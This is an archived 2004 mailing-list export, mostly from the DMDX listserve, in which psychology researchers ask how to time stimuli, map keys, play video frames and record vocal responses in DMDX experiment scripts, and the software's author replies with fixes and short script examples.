CAMPAIGN - AGAINST HTML MAIL / \\ ""If everything seems under control, you are going too slow"" - Mario Andretti",0,0 mgivertz@email.arizona.edu,dmdx listserve ,"Mon, 01 Mar 2004 12:19:32 -0700",[DMDX] marking picture onset with dmdx in acqknowledge,"Hi. I am working on an experiment where we are using dmdx to present stimuli (IAPS & IADS), and simultaneously, collecting psychophysiological data with biopac hardware and acknowledge software. We created a digital marker channel so that we could record the onset of picture and sound presentation in acqknowledge. The dmdx code that we are using is to turn the marker on, and to turn the marker off. The on code precedes the picture and the off code follows it, within the same frame. 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DFH - SN20040408001.000001 Ball State University2000 W. University Ave.Muncie, IN 47306Copyright © 2006Legal InformationEmploymentTTY Numbers",1,1 mgivertz@email.arizona.edu,dmdx listserve ,"Tue, 02 Mar 2004 10:59:08 -0700",[DMDX] ending a graphic before a sound starts,"I tried the help files first, but was not able to able to find the info that I need, so please help if you can. I am creating a sound script in which I want to first present a visual fixation cue and then a sound. In order to get the timing as I want it to be, I have to put it all in the same line. The problem is that the visual fixation cue remains on the screen while the sound is being presented, and I don't want it to. I want a blank screen during sound presentation. Any suggestions? Thanks, Michelle ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 02 Mar 2004 13:24:16 -0700",[DMDX] Re: ending a graphic before a sound starts,"At 10:59 AM 3/2/2004 -0700, you wrote: >I tried the help files first, but was not able to able to find the info >that I need, so please help if you can. > >I am creating a sound script in which I want to first present a visual >fixation cue and then a sound. In order to get the timing as I want it >to be, I have to put it all in the same line. The problem is that the >visual fixation cue remains on the screen while the sound is being >presented, and I don't want it to. I want a blank screen during sound >presentation. Any suggestions? Present the sound simultaneously with a blank frame. The sound documentation mentions an example of presenting a visual stimulus with a sound, use that example but leave the visual part of the example blank. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I haven't a particle of confidence in a man who has no redeeming petty vices. - Mark Twain ""Answers to Correspondents"" ",0,0 Malcolm Sinclair ,XXX@XXXXXXXX.XXXXXXX.XXX,"Fri, 05 Mar 2004 17:20:55 -0500",numerical library,"For your possible interest, there is a new book entitled ""A Numerical Library in Java for Scientists and Engineers"" by Hang T. Lau, published by CRC Press, August 2003, ISBN: 1584884304, email: orders@crcpress.com The book contains the source code of a comprehensive numerical library in Java. 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Nan Jiang $0 ""This is a word-by-word reading experiment."", ""Press the NEXT key to read instructions."" ; 0 ""Remember to read as quickly as possible"", ""until you reach the end of a sentence."", ""Then press NEXT for the beginning of the next sentence."" ; 0 ""Some sentences are followed by comprehension questions."", ""Use NO and YES keys to answer these questions."" ; 0 ""Now press NEXT to begin practice.""; +900 * ""The _____ ___ ______ ___ _______ __ ___ ____""; +901 * ""___ cook ___ _______ ____ _______ __ ___ ____""; +902 * ""___ _____ was _______ ___ _______ __ ___ ____""; +903 * ""___ _____ ___ cooking ____ _______ __ ___ ____""; +904 * ""___ _____ ___ ______ some _______ __ ___ ____""; +905 * ""___ _____ ___ ______ ____pizzas __ ___ ____""; +906 * ""___ _____ ___ ______ ____ ______ in ___ ____""; +907 * ""___ _____ ___ ______ ____ ______ __ the ____""; +908 * ""___ _____ ___ ______ ____ ______ __ ___ kitchen.""; -909 * ""Was the cook cooking some chickens?""; 0 c; 0 c; 0 c; 0 c/; +910 * ""Our ______ ___ __ ___ _______ ___ ____""; +911 * ""___ teacher ___ __ ___ _______ ___ ____""; +912 * ""___ ______ came __ ___ _______ ___ ____""; +913 * ""___ ______ ___ to ___ _______ ___ ____""; +914 * ""___ ______ ___ __ our _______ ___ ____""; +915 * ""___ ______ ___ __ ___ class ___ ____""; +916 * ""___ ______ ___ __ ___ _____ quite ____""; +917 * ""___ ______ ___ __ ___ _____ _____ late.""; 0 c; 0 c; 0 c; 0 c; 0 c; 0 c/; +918 * ""The _________ _____ _ _____ ___ _____ __ ___ _______""; +919 * ""___ policeman _____ _ ___ _____ _____ __ ___ _______""; +920 * ""___ _________ found _ ___ _____ _____ __ ___ _______""; +921 * ""___ _________ _____ a ___ _____ _____ __ ___ _______""; +922 * ""___ _________ _____ _ few _____ _____ __ ___ _______""; +923 * ""___ _________ _____ _ ___ brown _____ __ ___ _______""; +924 * ""___ _________ _____ _ ___ __ ___ hairs__ ___ _______""; +925 * ""___ _________ _____ _ ___ __ ___ _____ in ___ _______""; +926 * ""___ _________ _____ _ ___ __ ___ _____ __ the _______""; +927 * ""___ _________ _____ _ ___ __ ___ _____ __ ___ car.""; +928 * ""Did the policeman find any hair in the car?""; 0 c; 0 c; 0 c/; 0 ""End of practice. Press NEXT to begin the text.""; +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++",0,1 Nan Jiang ,DMDX@psy1.psych.arizona.edu,"Tue, 09 Mar 2004 14:08:49 -0500",[DMDX] self paced reading problem solved,"Just figured out the answer; change the t value at the parameter line. nj +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++ ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 10 Mar 2004 10:29:29 -0700",[DMDX] long graphic file path names,"Anyone ever have trouble with a long path name in a graphic frame? For instance: g""C:\\MY DOCUMENTS\\DANAprograms\\iaps2\\7700.bmp"" The item file that has that appears to crash my winME test box. Nothing too surprising there as the machine is about as unstable as it could be and not require rebooting every week but it would also appear to have weird side effects on another XP machine (the gets delayed by seconds). If the graphics are moved into the directory that has the item file the XP machine is fine. My XP development box has no trouble with it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you can't annoy somebody, there is little point in writing. - Kingsley Amis",0,0 Corinne Haigh ,DMDX@psy1.psych.arizona.edu,"Wed, 10 Mar 2004 15:06:04 -0500",[DMDX] Question about French keyboards...,"Hi all, We have recently encountered a problem with one of our DMDX scripts, that seems to be resulting from the fact that we are using a French keyboard. When we run a script that works on an English keyboard (contains ) we get an error message that says "" Input device selection failed"". It does say that the device is available (Clavier is keyboard in French). When we change the script to read the error message no longer appears, but the program does not respond to a spacebar press. Does anyone have any ideas about how we might fix this? Thanks, Corinne Haigh",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 10 Mar 2004 14:04:54 -0700",[DMDX] Re: Question about French keyboards...,"At 03:06 PM 3/10/2004 -0500, you wrote: >Hi all, > >We have recently encountered a problem with one of our DMDX scripts, that >seems >to be resulting from the fact that we are using a French keyboard. > >When we run a script that works on an English keyboard (contains keyboard>) >we get an error message that says "" Input device selection >failed"". >It does say that the device is available (Clavier is keyboard in >French). When we change the script to read the error message no >longer appears, but the program does not respond to a spacebar press. > >Does anyone have any ideas about how we might fix this? As is outlined in the documentation you have to map the french key names to the DMDX inputs with , and . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you can't annoy somebody, there is little point in writing. - Kingsley Amis",0,0 tbryant@nd.edu,DMDX@psy1.psych.arizona.edu,"Wed, 10 Mar 2004 16:47:57 -0500",[DMDX] Multiple independent response mapping,"Hello everyone, I am working on a cuing paradigm experiment in which four independent responses are needed. For example, If cue A appears than the participant uses the left hand, which has a correct X response and an incorrect Y response. If cue B appears then the participant uses the right hand, which has a correct X response and an incorrect Y response. Thus, with positive and negative mappings, I am unable to determine if the correct hand was used in responding. I am aware of and have used before, which of course gives me the exact button that was used. However, I was wondering if I have missed an update or something that would allow me to map the four independent mappings still using so that ""analyze"" could still be used. If not, is there an extractor for zillion that would expedite the analysis of the data? Peace and thanks Ted",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 10 Mar 2004 22:31:10 -0700",[DMDX] Re: Multiple independent response mapping,"At 04:47 PM 3/10/2004 -0500, you wrote: >Hello everyone, > >I am working on a cuing paradigm experiment in which four independent >responses >are needed. For example, If cue A appears than the participant uses the left >hand, which has a correct X response and an incorrect Y response. If cue B >appears then the participant uses the right hand, which has a correct X >response and an incorrect Y response. Thus, with positive and negative >mappings, I am unable to determine if the correct hand was used in >responding. > >I am aware of and have used before, which of course gives me the exact >button that was used. However, I was wondering if I have missed an update or >something that would allow me to map the four independent mappings still using > so that ""analyze"" could still be used. If not, is there an >extractor for >zillion that would expedite the analysis of the data? Yep, you can still use .azk files. The method is to continually map and unmap keys to the responses you want with and along with the unmap versions of those keywords. This of course leads to some pretty repetitive items so a lot of people use macros to swap the keys around. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To err is human, to moo bovine.",0,0 Peter Straffon ,DMDX@psy1.psych.arizona.edu,"Fri, 12 Mar 2004 18:48:28 +1100",[DMDX] DirectX reports unable to page flip - Win2k," I have a problem with a lab class we want to run. We have written (and tested) the task but I ma having trouble getting DMDX to work in the lab. The lab uses Intel 845G (intergrated motherboards, 82845G based video) running Win2k, I've tried DMDX 2.2 and 3.0 with DirectX 8.1 and 9.0a, I've upgraded the video drivers to the latest that Intel provide (v14.1) but it just does not work in the lab. It does work the same hardware and Win2K in the office but not in the lab. If I run TimeDX in the lab and try any video test it says ""Driectx reports unable to page flip"". The lab does have some different permissions (multi user teaching lab) and it may be some difference in the setup but can anyone suggest what I need to look for. I've tried things like changing the user, even tried running as Administrator. I've check the video setting and it has 8Meg assigned to the video. Thanks in advance PETEr Peter Straffon p.straffon@psych.unimelb.edu.au School of Behavioural Science Phone +61(3) 83447773 The University Of Melbourne AUSTRALIA. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 12 Mar 2004 08:50:50 -0700",[DMDX] Re: DirectX reports unable to page flip - Win2k,"At 06:48 PM 3/12/2004 +1100, you wrote: >... >If I run TimeDX in the lab and try any video test it says ""Driectx reports >unable to page flip""... Some days a video chipset just ain't up to it, unable to flip pages is a very basic low level thing and if it doesn't go away with new video drivers the only thing that might possibly save you is to try different video modes but I'll be impressed. It's faintly possible that there's a setting in the BIOS called AGP aperture size that might affect the video chipset seeing as you mention that there's another machine with the same chipset that works -- but I doubt it, page flipping isn't related to aperture size. If push really comes to shove you could try flashing the BIOS. My guess is you'll have to disable the built in video and buy another video card. If you have an AGP slot then almost anything will be ok, if not you'll have to hunt up a PCI video card. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In order to be, never try to seem. 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And, indeed, a parameter line such as this does exactly that: N50 However, when I ran an older naming file in which the period of recording was not specified, using this parameter line: N50 I found that the resultant wav files were shorter than the timeout, with only a portion of the response actually recorded. My understanding was that when the recording period is not specified for RecordVocal (i.e. in legacy mode) it will record for the entire timeout period, yet that is not what I have been getting. I'm not sure if there is a very obvious reason for this problem that I am missing, but I have observed it on two quite different setups now. In any case, given the added functionality allowed by specification of the recording period, the lack of legacy mode is not really a problem - I just thought it was worth flagging on the listserv. Also, while on the topic of RecordVocal, the wav files generated are 22Hz 16- bit, and I was wondering if it was possible to change this? I would imagine it is not within DMDX, but would changing soundcard settings have any effect? Please forgive my ignorance here - I am asking on behalf of a researcher who would like to use the wav files DMDX generates for later acoustic analysis. Regards, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 14 Mar 2004 21:50:16 -0700",[DMDX] Re: Record Vocal in DMDX 3.0.2.8,"At 08:17 PM 3/14/2004 +1100, you wrote: >I found that the resultant wav files were shorter than the timeout, with >only a >portion of the response actually recorded. My understanding was that when >the >recording period is not specified for RecordVocal (i.e. in legacy mode) it >will >record for the entire timeout period, yet that is not what I have been >getting. Certainly if just RecordVocal by itself was specified then yes, it will record for the timeout's duration. But I suspect it's behavior changed if the DigitalVox was added -- not necessarily predictably depending on how badly written a machine's drivers were. However all that code is so complex given it's repeated re-writes to deal with various machines broken drivers that I was mainly trying to get it to work on all hardware and not maintain backwards compatibility (which is normally my number one priority). Some days you just gotta compromise... >I'm not sure if there is a very obvious reason for this problem that I am >missing, but I have observed it on two quite different setups now. In any >case, given the added functionality allowed by specification of the recording >period, the lack of legacy mode is not really a problem - I just thought >it was >worth flagging on the listserv. Yeah, I seem to recall announcing the change but it was a while ago now. >Also, while on the topic of RecordVocal, the wav files generated are 22Hz 16- >bit, and I was wondering if it was possible to change this? I would >imagine it >is not within DMDX, but would changing soundcard settings have any effect? The wave format is my choice and if we really cared to have it specified in the item file we could. >Please forgive my ignorance here - I am asking on behalf of a researcher who >would like to use the wav files DMDX generates for later acoustic analysis. What part of the human voice is it that needs better than a 11kHz 96dB signal? They want to analyze female sibilants? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In order to be, never try to seem. ",0,0 """Kelly S. Giovanello"" ",DMDX@psy1.psych.arizona.edu,"Wed, 17 Mar 2004 21:29:38 -0500",[DMDX] question-divided attention task,"Hello, I'm a relatively new user of DMDX. To date I've used it in only 1 experiment - a recognition task. Currently, I'm setting up another recognition study, but this time a concurrent task has been added. It is unclear to me how to specify the timing for the concurrent task in the item file. Some details of the study... Stimuli (words) will be presented for 2 seconds each, while high and low tones (the concurrent task) will alternate every 1.5 seconds. The subject's task will be (1) to judge whether each presented word is ""old"" or ""new"" and (2) to simultaneously perform the auditory discrimination task. The 1.5 sec auditory patterns will be presented CONTINUOSULY as participants make recognition decisions. The participants' task will be to listen to these patterns and to press a button with their left index finger every time a sound pattern changes from A to B or B to A. For example, the item file will begin with a word (e.g. ""PUMPKIN"") which will stay on the screen for 2s. ""Tone A"" (playing for 1.5 seconds) will simultaneously begin playing when ""PUMPKIN"" appears. ""Tone B"" will begin following the termination of ""Tone B""; the next word (e.g. ""RYHTHM"") will appear after the 2s presentation of ""PUMPKIN"" is finished and so on.. Responses and RTs need to be collected for every response. Any insight into how to specify the timing for the concurrent task in the item file would be greatly appreciated. Thank you, Kelly ",0,0 """j.c.f."" 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To this end I use the pdvt function (Play Digital Video Frame to N). The ouput is OK with videos wich have 15 frames per sec but not with videos wich have 25 frames per sec. The problem is that, in the output, it is said that DMDX seems to played 1 frame more than what it is supposed to do. Unfortunately the videos I need for my experiment have 25 frames per sec. So, what should I do? Is there something wrong with the ouput? This is an item files presenting 2 videos : Ciseaux1400 wich have 15 frames per sec (duration =1400 Number of frames= 22) and pianoval3 wich have 25 frames per sec (duration = 1400, number of frames=35). 0 ""Press spacebar when you are ready""; 1 ""Ciseaux1400"" / ; 2 ""Ciseaux1400"" / ; 3 ""Ciseaux1400"" / ; 4 ""Ciseaux1400"" / ; 5 ""Ciseaux1400"" / ; 6 ""pianoval3"" / ; 7 ""pianoval3"" / ; 8 ""pianoval3"" / ; 9 ""pianoval3"" / ; 10 ""pianoval3"" / ; 11 ""pianoval3"" / ; 12 ""pianoval3"" / ; 13 ""pianoval3"" / ; 0 ""That'all, thank you! ""; This is the output Subject 9, 03/22/2004 12:31:26 on PIII-ELISE, refresh 11.76ms Item RT ! Played 1 frames of 1 in Ciseaux1400.avi ! Played 5 frames of 5 in Ciseaux1400.avi ! Played 10 frames of 10 in Ciseaux1400.avi ! Played 15 frames of 15 in Ciseaux1400.avi ! Played 20 frames of 20 in Ciseaux1400.avi ! Played 2 frames of 1 in pianoval3.avi ! Played 6 frames of 5 in pianoval3.avi ! Played 11 frames of 10 in pianoval3.avi ! Played 16 frames of 15 in pianoval3.avi ! Played 21 frames of 20 in pianoval3.avi ! Played 26 frames of 25 in pianoval3.avi ! Played 31 frames of 30 in pianoval3.avi ! Played 35 frames of 35 in pianoval3.avi _______________________ Elise Dupuis Lozeron Université de Genève FPSE Bd. du Pont d'Arve, 40 1211 Genève 4 Tél: +41 22 379 92 54 e-mail : Elise.Dupuis@pse.unige.ch",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 23 Mar 2004 08:36:09 -0700",[DMDX] Re: play portion of videos,"At 08:50 AM 3/23/2004 +0100, you wrote: >Hi everyone > >I'm trying to set up an experiment about action recognition. I'm intending >to do a kind of gating task with videos of actions. To this end I use the >pdvt >function (Play Digital Video Frame to N). The ouput is OK with videos wich >have 15 frames per sec but not with videos wich have 25 frames per sec. The >problem is that, in the output, it is said that DMDX seems to played 1 frame >more >than what it is supposed to do. Unfortunately the videos I need for my >experiment have >25 frames per sec. So, what should I do? Is there something wrong with the >ouput? The only error is that it will be displaying one more frame than you want. Empirically you can therefore ask for one frame less than you want when playing 25 fps videos. Or you can edit the sections you want played so that there's no way more video can be played than you want. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Anyone who goes to a psychiatrist ought to have his head examined. - Samuel Goldwyn ",0,0 Katia Duscherer ,DMDX@psy1.psych.arizona.edu,"Tue, 23 Mar 2004 17:36:09 +0100",[DMDX] RE: Re: play portion of videos,"> The only error is that it will be displaying one more frame than you > want. Empirically you can therefore ask for one frame less than you want > when playing 25 fps videos. Or you can edit the sections you want played > so that there's no way more video can be played than you want. Does that mean that DMDX doesn't stop when it is supposed to stop, i.e, one frame too late, so at frame 15 rather than at frame 14? K, confused ",0,0 """Jonathan C. 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Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu https://ucsb.edu/mailman/listinfo/csf",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 31 Mar 2004 11:11:59 -0700",[DMDX] Re: RecordVocal problem,"You might try setting the frame duration of ""SKIP"" to something a bit longer than ten seconds and then putting a blank frame after it so DMDX isn't waiting for the RecordVocal device to finish but is instead waiting for the display. +1 %125 ""* * *""/ *""SKIP"" <%ms 10000> / ; At 08:59 PM 3/30/2004 -0800, you wrote: >Hello Everyone, I am currently creating an experiment in which the >subject's job is to repeat aloud a visually presented word for >10secs. The following is the experiment with parameter line: > > > f10 >""urn:schemas-microsoft-com:office:office"" /> > >+1 %125 ""* * *""/ *""SKIP""; > >+2 %125 ""* * *""/ *""pip""; > >0""The End. Thank you""; > > > >When I run this script the first word ""skip"" is recorded onto my hard >drive perfectly. However, for the second word ""pip"" my voice is recorded >for the first 500ms~""pi"", which is then followed by noise for the next 9.5 >seconds. I am running this program on a Dell inspirion 8000 and I am >using the built-in mic. I originally thought the noise was the hard drive >or fan but the fan does not always come on and the hard drive is >relatively quiet. The noise I get is high-frequency white noise. I am >curious if anyone else has experienced this problem with recordvocal and >if any solutions exist. I would also love to see anyone elses script >involving the recordvocal and you are welcome to send me the file >personally. thanks for your help > > > >Tom > > >Thomas A. Eaton >Department of Psychology U-20 >Language & Cognition >406 Babbidge Road >University of Connecticut >Storrs, CT 06269-1020 >http://home.att.net/~taeaton > > >Do you Yahoo!? >Yahoo! Finance Tax Center - File >online. File on time. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A real person has two reasons for doing anything ... a good reason and the real reason.",0,1 """EL Turner, Experimental Psychology"" ",DMDX ,"Thu, 01 Apr 2004 13:01:26 +0100",[DMDX] randomised inter trial intervals,"Hi all, I am trying to run an experiment where the inter trial interval varies randomly between items, ranging from 500 - 1500 msecs..... Is this possible in DMDX? I have looked at the scrambling help pages etc and it doesn't seem that this can be done. I know I can group items, or just include a blank frame at the end of an item but then that item will always preceed an interval of the same duration and ideally I want it to be completely random. Thanks for your help, Emma ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8547 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk ",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Thu, 01 Apr 2004 10:00:34 -0500",[DMDX] RE: randomised inter trial intervals,"I don't know if this is the easiest way to do it, but when I've needed to do this I've appended a macro variable on to the end of my items (e.g. +1 * ""target"" ; 999 ~a ; (where ""~a"" would expand into ""%50 /! c""). If you develop 10 or so different macros (where each one specifies a different duration), it'll give you a pretty good range of ISIs and it's easy to randomly assign them to your items if you use a spreadsheet to put your items together. if there's an easier way, i'd like to hear about it matthew > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of EL > Turner, Experimental Psychology > Sent: Thursday, April 01, 2004 7:01 AM > To: DMDX > Subject: [DMDX] randomised inter trial intervals > > > Hi all, > > I am trying to run an experiment where the inter trial > interval varies > randomly between items, ranging from 500 - 1500 msecs..... > > Is this possible in DMDX? I have looked at the scrambling > help pages etc > and it doesn't seem that this can be done. > > I know I can group items, or just include a blank frame at > the end of an > item but then that item will always preceed an interval of the same > duration and ideally I want it to be completely random. > > Thanks for your help, > Emma > > ---------------------- > EL Turner, Experimental Psychology > University of Bristol > 8 Woodland Road > BRISTOL BS8 1TN > Tel:(0117) 928 8547 > Fax: 0117 928 8588 > Emma.Turner@bristol.ac.uk > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 Ronan O'Ceallaigh ,DMDX@psy1.psych.arizona.edu,"Thu, 01 Apr 2004 16:34:56 +0100",[DMDX] Millisecond synchronisation,"Hello, I'm trying to interface a DMDX experiment with an eye tracker, and I'm having trouble synchronising the two data sets. I need to be able to link each eye position, of which there are 50 a second, to what dmdx is displaying at that time, so it's crucial that I can tell when each process starts. I've used to give me the millisecond starting point of each trial within the experiment, but I need to know the exact millisecond starting point of the experiment itself for this to be useful. So far all that I have is the second time stamp on the top of a ZIL or AZK file. Is there anyway to get this information? Or is anyone aware of a workaround that I could use? Thanks in advance, Ronan Ronan O'Ceallaigh Research Assistant School of Psychology University of Leeds Tel: +44 113 343 5747",0,0 """EL Turner, Experimental Psychology"" ",DMDX@psy1.psych.arizona.edu,"Thu, 01 Apr 2004 16:41:49 +0100",[DMDX] Re: RE: randomised inter trial intervals,"Hi, Thanks for the suggestion Matthew- that is one possibility but it means each participant has the same random order of interval unless I make lots of rtf files with the item having a different macro at the end. I have been trying to get the odd and even item number scramble(from the help pages) to work. It seems like this should work but as yet I haven't figured it out, I have basically included a dummy item between each trial (it is just a blank frame of different durations). All the odd items are trials and all the even items are blank frames......... Has anyone successfully used this method of scrambling? Emma --On Thursday, April 01, 2004 10:00 AM -0500 Matthew Finkbeiner wrote: > I don't know if this is the easiest way to do it, but when I've needed > to do this I've appended a macro variable on to the end of my items > (e.g. +1 * ""target"" ; 999 ~a ; (where ""~a"" would expand into ""%50 /! > c""). If you develop 10 or so different macros (where each one specifies > a different duration), it'll give you a pretty good range of ISIs and > it's easy to randomly assign them to your items if you use a spreadsheet > to put your items together. > > if there's an easier way, i'd like to hear about it > > matthew > > > >> -----Original Message----- >> From: DMDX-owner@psy1.psych.arizona.edu >> [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of EL >> Turner, Experimental Psychology >> Sent: Thursday, April 01, 2004 7:01 AM >> To: DMDX >> Subject: [DMDX] randomised inter trial intervals >> >> >> Hi all, >> >> I am trying to run an experiment where the inter trial >> interval varies >> randomly between items, ranging from 500 - 1500 msecs..... >> >> Is this possible in DMDX? I have looked at the scrambling >> help pages etc >> and it doesn't seem that this can be done. >> >> I know I can group items, or just include a blank frame at >> the end of an >> item but then that item will always preceed an interval of the same >> duration and ideally I want it to be completely random. >> >> Thanks for your help, >> Emma >> >> ---------------------- >> EL Turner, Experimental Psychology >> University of Bristol >> 8 Woodland Road >> BRISTOL BS8 1TN >> Tel:(0117) 928 8547 >> Fax: 0117 928 8588 >> Emma.Turner@bristol.ac.uk >> ==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >> ==================================================================== >> > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8547 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk",0,1 Colby Kraybill ,"noise@astron.Berkeley.EDU, linuxusers@astron.berkeley.edu","Thu, 01 Apr 2004 09:10:16 -0800",Sun Java Desktop Systems at Walmart (Linux)," Short link to walmart: http://csua.org/u/6ps CNN story about it: http://csua.org/u/6pt ... Sun's Java Desktop System is available on Microtel PCs starting at $298, according to the retail giant's Web site. The computers, however, are not available at Wal-Mart's brick-and-mortar stores. ... - Colby ",0,1 tamar gollan ,DMDX@psy1.psych.arizona.edu,"Thu, 01 Apr 2004 08:37:13 -0800",[DMDX] hello,"hey just wanted to drop a line to say that i haven't completely fallen off the face of the earth - i'm working hard to finish up and ship off two papers and to get an experiment going - and i have 1 review left to write (in the past couple of weeks i've reviewed 2 grants and 2 papers!) - so things have been a bit nuts after that i plan to get back on things - okay? what's up with you? > > ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 01 Apr 2004 10:26:15 -0700",[DMDX] Re: RE: randomised inter trial intervals,"At 04:41 PM 4/1/2004 +0100, you wrote: >Hi, > >Thanks for the suggestion Matthew- that is one possibility but it means >each participant has the same random order of interval unless I make lots >of rtf files with the item having a different macro at the end. > >I have been trying to get the odd and even item number scramble(from the >help pages) to work. It seems like this should work but as yet I haven't >figured it out, I have basically included a dummy item between each trial >(it is just a blank frame of different durations). All the odd items are >trials and all the even items are blank frames......... > >Has anyone successfully used this method of scrambling? It wouldn't be in the help if it hadn't been, believe me. In any event you don't need it. There's a keyword to determine a frame's duration with a counter and there's a random number function that can be used in an expression to set a counters value so you can make the last frame of all items a random duration. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is not lost by dying; life is lost minute by minute, day by day, in all the thousand, small, uncaring ways. - Stephen V. Benet ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 01 Apr 2004 10:40:48 -0700",[DMDX] Re: Millisecond synchronization,"At 04:34 PM 4/1/2004 +0100, you wrote: >Hello, > >I'm trying to interface a DMDX experiment with an eye tracker, and I'm >having trouble synchronising the two data sets. I need to be able to link >each eye position, of which there are 50 a second, to what dmdx is >displaying at that time, so it's crucial that I can tell when each process >starts. > >I've used to give me the millisecond starting point of each trial >within the experiment, but I need to know the exact millisecond starting >point of the experiment itself for this to be useful. So far all that I >have is the second time stamp on the top of a ZIL or AZK file. Is there >anyway to get this information? Or is anyone aware of a workaround that I >could use? We usually synchronize machines in such circumstances with a signal from an interface card, can your eye tracker record another channel of data? Or alternatively can be started by the signal from DMDX? Barring that the time stamp of the file is all that exists right now and I doubt that giving you a millisecond accurate time stamp would help much as the probability of the two clocks being in synch to the millisecond is zero. Even if you have them synched to an external time source both machines will drift almost immediately. Which is which recording a signal from DMDX in the eye tracking data is the best solution. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is not lost by dying; life is lost minute by minute, day by day, in all the thousand, small, uncaring ways. - Stephen V. Benet",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 01 Apr 2004 10:45:52 -0700",[DMDX] Re: RE: randomised inter trial intervals,"At 10:26 AM 4/1/2004 -0700, you wrote: > It wouldn't be in the help if it hadn't been, believe me. In any event > you don't need it. There's a keyword to determine a frame's duration > with a counter and there's a random number function that can be used in > an expression to set a counters value so you can make the last frame of > all items a random duration. Correction, the second to last frame. Setting the duration of the last frame achieves nothing as the duration of a frame only determines when the next frame is to be displayed, if there are no more frames in an item it's a null statement. So you want something like: +1 / <%ctr 1> / ; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is not lost by dying; life is lost minute by minute, day by day, in all the thousand, small, uncaring ways. - Stephen V. Benet",0,0 """EL Turner, Experimental Psychology"" ",DMDX@psy1.psych.arizona.edu,"Fri, 02 Apr 2004 10:28:52 +0100",[DMDX] Re: RE: randomised inter trial intervals,"Thanks very much for the info. Jonathan. One more quick question- It seems like it will allow me to specify the maximum value of the random frame duration but not the minimum which defaults to "" 0 "" is this true? Or could I include a minimum value, I want the shortest frame between items to be 500 msecs...... Emma --On Thursday, April 01, 2004 10:45 AM -0700 ""Jonathan C. Forster"" wrote: > At 10:26 AM 4/1/2004 -0700, you wrote: > >> It wouldn't be in the help if it hadn't been, believe me. In any >> event you don't need it. There's a keyword to determine a frame's >> duration with a counter and there's a random number function that can >> be used in an expression to set a counters value so you can make the >> last frame of all items a random duration. > > Correction, the second to last frame. Setting the duration of the > last frame achieves nothing as the duration of a frame only determines > when the next frame is to be displayed, if there are no more frames in an > item it's a null statement. So you want something like: > > +1 / <%ctr 1> / ; > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Life is not lost by dying; life is lost minute by minute, day > by day, in all the thousand, small, uncaring ways. > - Stephen V. Benet > > > ==================================================================== > Send mail to 